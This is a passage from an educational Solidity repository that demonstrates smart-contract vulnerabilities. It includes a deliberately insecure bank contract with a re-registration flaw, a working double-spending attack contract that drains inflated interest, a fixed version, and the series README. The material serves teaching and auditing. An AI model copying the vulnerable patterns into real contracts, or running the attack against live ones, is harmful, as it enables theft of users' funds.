59 | uint256 voteAmount = moonToken.getUserBalance(msg.sender);
60 | require(voteAmount > 0, "You have no privilege to vote");
61 |
62 | userVotes[msg.sender] = UserVote({
63 | candidateID: _candidateID,
64 | voteAmount: voteAmount,
65 | completed: true
66 | });
67 |
68 | candidates[_candidateID].totalVoteAmount += voteAmount;
69 | }
70 |
71 | function getTotalCandidates() external view returns (uint256) {
72 | return candidates.length;
73 | }
74 |
75 | function getUserVote(address _user) external view returns (UserVote memory) {
76 | return userVotes[_user];
77 | }
78 |
79 | function getCandidate(uint256 _candidateID) external view returns (CEOCandidate memory) {
80 | require(_candidateID < candidates.length, "Invalid candidate id");
81 | return candidates[_candidateID];
82 | }
83 | }
--------------------------------------------------------------------------------
/12_amplification_attack__double_spending_01/README.md:
--------------------------------------------------------------------------------
1 | # 12. Amplification Attack (Double Spending #1)
2 |
3 | For more info, please refer to my article:
4 |
5 | | Vulnerability Issue | Article Links |
6 | | --- | --- |
7 | | [Amplification Attack (Double Spending #1)]() | - [On Medium](https://medium.com/valixconsulting/solidity-security-by-example-12-amplification-attack-double-spending-1-990b2da52e6c)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-12-amplification-attack-double-spending-01/) |
--------------------------------------------------------------------------------
/13_double_spending_02/Attack.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-security-by-example-13-double-spending-2-609ba4402aca
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-13-double-spending-02/
10 |
11 | pragma solidity 0.8.20;
12 |
13 | interface INaiveBank {
14 | function deposit() external payable;
15 | function withdraw(uint256 _withdrawAmount) external;
16 | }
17 |
18 | contract Attack {
19 | INaiveBank public immutable naiveBank;
20 |
21 | constructor(INaiveBank _naiveBank) {
22 | naiveBank = _naiveBank;
23 | }
24 |
25 | receive() external payable {
26 | }
27 |
28 | function attack(uint256 _xTimes) external payable {
29 | require(msg.value == 1 ether, "Require 1 Ether to attack");
30 |
31 | for (uint256 i = 0; i < _xTimes - 1; i++) {
32 | // Do a double spending
33 | naiveBank.deposit{value: msg.value}();
34 | naiveBank.withdraw(msg.value);
35 | }
36 |
37 | // Do a final deposit and wait for the BIG PROFIT!!!
38 | naiveBank.deposit{value: msg.value}();
39 | }
40 | }
--------------------------------------------------------------------------------
/13_double_spending_02/FixedNaiveBank.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-security-by-example-13-double-spending-2-609ba4402aca
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-13-double-spending-02/
10 |
11 | pragma solidity 0.8.20;
12 |
13 | // This contract still has a denial-of-service issue, but it is not the scope of
14 | // this example though. Therefore, please do not use this contract code in production
15 | contract FixedNaiveBank {
16 | uint256 public constant INTEREST_RATE = 5; // 5% interest
17 |
18 | struct Account {
19 | bool registered; // FIX: Use the 'registered' attribute to keep track of every registered account
20 | uint256 balance;
21 | }
22 |
23 | mapping (address => Account) private userAccounts;
24 | address[] private userAddresses;
25 |
26 | address public immutable owner;
27 |
28 | constructor() {
29 | owner = msg.sender;
30 | }
31 |
32 | modifier onlyOwner() {
33 | require(owner == msg.sender, "You are not the owner");
34 | _;
35 | }
36 |
37 | function depositBankFunds() external payable onlyOwner {
38 | require(msg.value > 0, "Require some funds");
39 | }
40 |
41 | function deposit() external payable {
42 | require(msg.value > 0, "Require some funds");
43 |
44 | // FIX: Use the 'registered' attribute to keep track of every registered account
45 | if (!userAccounts[msg.sender].registered) {
46 | // Register new user
47 | userAddresses.push(msg.sender);
48 | userAccounts[msg.sender].registered = true;
49 | }
50 |
51 | userAccounts[msg.sender].balance += msg.value;
52 | }
53 |
54 | function withdraw(uint256 _withdrawAmount) external {
55 | require(userAccounts[msg.sender].balance >= _withdrawAmount, "Insufficient balance");
56 | userAccounts[msg.sender].balance -= _withdrawAmount;
57 |
58 | (bool success, ) = msg.sender.call{value: _withdrawAmount}("");
59 | require(success, "Failed to send Ether");
60 | }
61 |
62 | // There is a denial-of-service issue on the applyInterest() function,
63 | // but it is not the scope of this example though
64 | function applyInterest() external onlyOwner returns (uint256 minBankBalanceRequired_) {
65 | for (uint256 i = 0; i < userAddresses.length; i++) {
66 | address user = userAddresses[i];
67 | uint256 balance = userAccounts[user].balance;
68 |
69 | // Update user's compound interest
70 | userAccounts[user].balance = balance * (100 + INTEREST_RATE) / 100;
71 |
72 | // Calculate the minimum bank balance required to pay for each user
73 | minBankBalanceRequired_ += userAccounts[user].balance;
74 | }
75 | }
76 |
77 | function getBankBalance() external view returns (uint256) {
78 | return address(this).balance;
79 | }
80 |
81 | function getUserBalance(address _user) external view returns (uint256) {
82 | return userAccounts[_user].balance;
83 | }
84 | }
--------------------------------------------------------------------------------
/13_double_spending_02/InsecureNaiveBank.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-security-by-example-13-double-spending-2-609ba4402aca
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-13-double-spending-02/
10 |
11 | pragma solidity 0.8.20;
12 |
13 | contract InsecureNaiveBank {
14 | uint256 public constant INTEREST_RATE = 5; // 5% interest
15 |
16 | mapping (address => uint256) private userBalances;
17 | address[] private userAddresses;
18 |
19 | address public immutable owner;
20 |
21 | constructor() {
22 | owner = msg.sender;
23 | }
24 |
25 | modifier onlyOwner() {
26 | require(owner == msg.sender, "You are not the owner");
27 | _;
28 | }
29 |
30 | function depositBankFunds() external payable onlyOwner {
31 | require(msg.value > 0, "Require some funds");
32 | }
33 |
34 | function deposit() external payable {
35 | require(msg.value > 0, "Require some funds");
36 |
37 | // Register new user
38 | if (userBalances[msg.sender] == 0) {
39 | userAddresses.push(msg.sender);
40 | }
41 |
42 | userBalances[msg.sender] += msg.value;
43 | }
44 |
45 | function withdraw(uint256 _withdrawAmount) external {
46 | require(userBalances[msg.sender] >= _withdrawAmount, "Insufficient balance");
47 | userBalances[msg.sender] -= _withdrawAmount;
48 |
49 | (bool success, ) = msg.sender.call{value: _withdrawAmount}("");
50 | require(success, "Failed to send Ether");
51 | }
52 |
53 | // There is a denial-of-service issue on the applyInterest() function,
54 | // but it is not the scope of this example though
55 | function applyInterest() external onlyOwner returns (uint256 minBankBalanceRequired_) {
56 | for (uint256 i = 0; i < userAddresses.length; i++) {
57 | address user = userAddresses[i];
58 | uint256 balance = userBalances[user];
59 |
60 | // Update user's compound interest
61 | userBalances[user] = balance * (100 + INTEREST_RATE) / 100;
62 |
63 | // Calculate the minimum bank balance required to pay for each user
64 | minBankBalanceRequired_ += userBalances[user];
65 | }
66 | }
67 |
68 | function getBankBalance() external view returns (uint256) {
69 | return address(this).balance;
70 | }
71 |
72 | function getUserBalance(address _user) external view returns (uint256) {
73 | return userBalances[_user];
74 | }
75 | }
--------------------------------------------------------------------------------
/13_double_spending_02/README.md:
--------------------------------------------------------------------------------
1 | # 13. Double Spending #2
2 |
3 | For more info, please refer to my article:
4 |
5 | | Vulnerability Issue | Article Links |
6 | | --- | --- |
7 | | [Double Spending #2]() | - [On Medium](https://medium.com/valixconsulting/solidity-security-by-example-13-double-spending-2-609ba4402aca)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-13-double-spending-02/) |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com)
4 |
5 | Permission is hereby granted, free of charge, to any person or organization obtaining a copy of the software and accompanying documentation covered by this license (the "Software") to use, reproduce, display, distribute, execute, and transmit the Software, and to prepare derivative works of the Software, and to permit third-parties to whom the Software is furnished to do so, all subject to the following:
6 |
7 | The copyright notices in the Software and this entire statement, including the above license grant, this restriction and the following disclaimer, must be included in all copies of the Software, in whole or in part, and all derivative works of the Software, unless such copies or derivative works are solely in the form of machine-executable object code generated by a source language processor.
8 |
9 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, TITLE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR ANYONE DISTRIBUTING THE SOFTWARE BE LIABLE FOR ANY DAMAGES OR OTHER LIABILITY, WHETHER IN CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Solidity Security By Example
2 |
3 | **Smart contract security** is one of the biggest impediments to the mass adoption of the blockchain. For this reason, we are proud to present this series of examples regarding Solidity smart contract security to educate and improve the knowledge in this domain to the public.
4 |
5 | ## Disclaimer
6 |
7 | The smart contracts in this repository are used to demonstrate vulnerability issues only. **Some contracts are vulnerable, some are simplified for minimal, some contain malicious code. Hence, do not use the source code in this repository in your production.**
8 |
9 | Nonetheless, feel free to contact **[Valix Consulting](https://valix.io)** for your smart contract consulting and auditing services.🕵
10 |
11 | ## Vulnerability Issues
12 |
13 | | No. | Vulnerability Issue | Article Links |
14 | | --- | --- | --- |
15 | | 01 | [Integer Underflow](01_integer_underflow) | - [On Medium](https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-01-integer-underflow-c1147c2e507b)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-01-integer-underflow/) |
16 | | 02 | [Reentrancy](02_reentrancy) | - [On Medium](https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-02-reentrancy-b0c08cfcd555)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-02-reentrancy/) |
17 | | 03 | [Reentrancy via Modifier](03_reentrancy_via_modifier) | - [On Medium](https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-03-reentrancy-via-modifier-fba6b1d8ff81)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-03-reentrancy-via-modifier/) |
18 | | 04 | [Cross-Function Reentrancy](04_cross_function_reentrancy) | - [On Medium](https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-04-cross-function-reentrancy-de9cbce0558e)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-04-cross-function-reentrancy/) |
19 | | 05 | [Cross-Contract Reentrancy](05_cross_contract_reentrancy) | - [On Medium](https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-05-cross-contract-reentrancy-30f29e2a01b9)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-05-cross-contract-reentrancy/) |
20 | | 06 | [Integer Overflow](06_integer_overflow) | - [On Medium](https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-06-integer-overflow-e1f444f3cc4)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-06-integer-overflow/) |
21 | | 07 | [Phishing With Improper Authorization](07_phishing_with_improper_authorization) | - [On Medium](https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-07-phishing-with-improper-authorization-232dacf307e3)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-07-phishing-with-improper-authorization/) |
22 | | 08 | [Unexpected Ether With Forcibly Sending Ether](08_unexpected_ether_with_forcibly_sending_ether) | - [On Medium](https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-08-unexpected-ether-with-forcibly-sending-ether-e13be2c6b985)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-08-unexpected-ether-with-forcibly-sending-ether/) |
23 | | 09 | [Denial of Service With Revert](09_denial_of_service_with_revert) | - [On Medium](https://medium.com/valixconsulting/solidity-security-by-example-09-denial-of-service-with-revert-814f55b61e02)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-09-denial-of-service-with-revert/) |
24 | | 10 | [Denial of Service With Gas Limit](10_denial_of_service_with_gas_limit) | - [On Medium](https://medium.com/valixconsulting/solidity-security-by-example-10-denial-of-service-with-gas-limit-346e87e2ef78)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-10-denial-of-service-with-gas-limit/) |
25 | | 11 | [Denial of Service With Induction Variable Overflow](11_denial_of_service_with_induction_variable_overflow) | - [On Medium](https://medium.com/valixconsulting/solidity-security-by-example-11-denial-of-service-with-induction-variable-overflow-9991299ac8e4)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-11-denial-of-service-with-induction-variable-overflow/) |
26 | | 12 | [Amplification Attack (Double Spending #1)](12_amplification_attack__double_spending_01) | - [On Medium](https://medium.com/valixconsulting/solidity-security-by-example-12-amplification-attack-double-spending-1-990b2da52e6c)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-12-amplification-attack-double-spending-01/) |
27 | | 13 | [Double Spending #2](13_double_spending_02) | - [On Medium](https://medium.com/valixconsulting/solidity-security-by-example-13-double-spending-2-609ba4402aca)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-13-double-spending-02/) |
28 |
29 | ## Copyright
30 |
31 | © 2022 - 2023 [serial-coder](https://www.serial-coder.com): Phuwanai Thummavet (mr.thummavet@gmail.com). All rights reserved.
32 |
33 | ## License
34 |
35 | SPDX-License-Identifier: [BSL-1.0 (Boost Software License 1.0)](https://opensource.org/licenses/BSL-1.0)
--------------------------------------------------------------------------------